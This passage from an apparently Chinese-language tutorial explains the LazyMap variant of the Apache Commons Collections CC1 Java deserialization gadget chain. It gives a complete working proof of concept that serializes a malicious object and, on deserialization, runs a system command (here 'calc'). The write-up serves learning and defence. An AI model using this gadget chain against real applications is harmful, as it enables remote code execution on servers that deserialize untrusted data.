和第一条链子类似，只是这里使用了lazyMap类里的get方法来调用了transform，继续向上找谁调用了get方法，我们可以找到AnnotationInvocationHandler类里的invoke方法调用了get方法，而AnnotationInvocationHandler的接口是invocationHandler，所以在动态代理时可以调用到invoker所以我们可以实现一下。

img

实现

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package com.ex1.www;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {

       Class c = Runtime.class;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(c),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

       HashMap<Object,Object> map = new HashMap();

        Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);

        Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = r.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) ctor.newInstance(Override.class, decorate);

        Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);

        Object o2 = ctor.newInstance(Override.class, o1);


        serialize(o2);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws Exception {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);

    }
    public static Object unserialize(String s) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = objectInputStream.readObject();
        return o;
    }


}

正着分析一下，AnnotationInvocationHandler对readObject进行了重写，然后调用了Map（proxy）的entryset，因为对entryset函数进行了调用，所以会调用处理器的invoke方法，然后就会调用到get方法（由于目标代理类传的是LazyMap类,所以是LazyMap调用了get），最后调用了transform，剩下的步骤和之前一样。